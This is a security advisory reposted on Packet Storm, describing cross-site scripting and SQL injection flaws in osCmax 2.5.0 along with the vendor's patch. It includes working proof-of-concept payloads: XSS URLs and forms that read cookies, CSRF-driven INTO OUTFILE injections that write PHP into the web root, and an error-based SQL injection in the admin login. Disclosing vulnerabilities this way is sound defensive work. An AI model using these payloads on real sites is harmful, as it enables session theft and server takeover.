exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

osCmax 2.5.0 Cross Site Scripting / SQL Injection

osCmax 2.5.0 Cross Site Scripting / SQL Injection
Posted Apr 5, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

osCmax version 2.5.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
advisories | CVE-2012-1664, CVE-2012-1665
SHA-256 | a5e02d0c69dca1d97fea82c33739c01c6d48ffc92847f347e9d1d4283a4ae4b0

osCmax 2.5.0 Cross Site Scripting / SQL Injection

Change Mirror Download
Advisory ID: HTB23081
Product: osCmax
Vendor: osCMax.com
Vulnerable Version(s): 2.5.0 and probably prior
Tested Version: 2.5.0
Vendor Notification: 14 March 2012
Vendor Patch: 30 March 2012
Public Disclosure: 4 April 2012
Vulnerability Type: Cross-Site Scripting (XSS), SQL Injection
CVE Reference(s): CVE-2012-1664, CVE-2012-1665
Solution Status: Fixed by Vendor
Risk Level: High
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in osCmax, which can be exploited to perform SQL Injection and Cross-Site Scripting (XSS) attacks.

1) Multiple Cross-Site Scripting (XSS) in osCmax: CVE-2012-1664

1.1 Input passed via the "username" POST parameter to /admin/login.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="'<script>alert(document.cookie);</script>">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form>


1.2 Input passed via the "pageTitle" GET parameter to /admin/new_attributes_include.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/new_attributes_include.php?pageTitle=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.

1.3 Input passed via the "sb_id", "sb_key", "gc_id", "gc_key" and "path" POST parameters to /admin/htaccess.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/admin/htaccess.php" method="post" name="main" id="main">
<input type="hidden" name="sb_id" value='"><script>alert(1);</script>'>
<input type="hidden" name="sb_key" value='"><script>alert(2);</script>'>
<input type="hidden" name="gc_id" value='"><script>alert(3);</script>'>
<input type="hidden" name="gc_key" value='"><script>alert(4);</script>'>
<input type="hidden" name="path" value='"><script>alert(5);</script>'>
<input type="submit" name="submit" value="Send">
</form>


Successful exploitation of this vulnerability requires that "register_globals" is enabled.

1.4 Input passed via the "title" GET parameter to /admin/information_form.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/admin/information_form.php?title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.

1.5 Input passed via the "search" GET parameter to /admin/xsell.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/xsell.php?search=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.6 Input passed via the "gross" and "max" GET parameters to /admin/stats_products_purchased.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerability:

http://[host]/admin/stats_products_purchased.php?gross=%22%20%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/stats_products_purchased.php?max=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.7 Input passed via the "status" GET parameter to /admin/stats_monthly_sales.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/stats_monthly_sales.php?status=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.8 Input passed via the "sorted" GET parameter to /admin/stats_customers.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/stats_customers.php?sorted=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.9 Input passed via the "information_id" GET parameter to /admin/information_manager.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/information_manager.php?information_action=Edit&information_id=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.10 Input passed via the "zID" GET parameter to /admin/geo_zones.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/geo_zones.php?action=list&zID=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.11 Input passed via the "current_product_id" and "cPath" GET parameters to /admin/new_attributes_include.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC demonstrate the vulnerability:

http://[host]/admin/new_attributes_include.php?current_product_id=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/new_attributes_include.php?cPath=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


2) Multiple SQL Injections in osCmax: CVE-2012-1665

2.1 Input passed via the "status" GET parameter to /admin/stats_monthly_sales.php is not properly sanitised before being used in SQL query. This can be exploited to alter SQL queries.
The vulnerability usage is limited to the "INTO FILE" clause. This vulnerability requires administrative privileges, however can be exploited via the CSRF technique. Remote attacker should make logged-in website administrator open the following URL (in hidden iframe for example):

http://[host]/admin/stats_monthly_sales.php?status=0 union select '<? php_code ?>' INTO OUTFILE '../../../path/to/site/file.php'

Depending on MySQL and PHP configurations, as well as file system permissions this PoC should create arbitrary PHP file within the web root.

2.2 Input passed via the "country" POST parameter to /admin/create_account_process.php is not properly sanitised before being used in SQL query. This can be exploited to alter SQL queries.
The vulnerability usage is limited to the "INTO FILE" clause. This vulnerability requires administrative privileges, however can be exploited via the CSRF technique. Remote attacker should make logged-in website administrator open the page with following html code:


<form action="http://[host]/admin/create_account_process.php" method="post" name="main" id="main">
<input type="hidden" name="country" value="1' UNION SELECT '<? php_code ?>' INTO OUTFILE '../../../path/to/site/file.php' -- 2">
<input type="hidden" name="action" value="process">
<input type="submit" name="submit" value="Send">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


Depending on MySQL and PHP configurations, as well as file system permissions this PoC should create arbitrary PHP file within the web root.

2.3 Input passed via the "username" POST parameter to /admin/login.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="',1,2,(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))) -- 2">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to osCmax v2.5.1

More Information:
http://www.oscmax.com/blog/michael_s/oscmax_v251_has_been_released_security_update
http://bugtrack.oscmax.com/view.php?id=1165

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23081 - https://www.htbridge.com/advisory/HTB23081 - Multiple vulnerabilities in osCmax.
[2] osCmax - http://www.oscmax.com - osCmax is a powerful e-commerce/shopping cart web application. osCmax has all the features needed to run a successful internet store and can be customized to whatever configuration you need.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close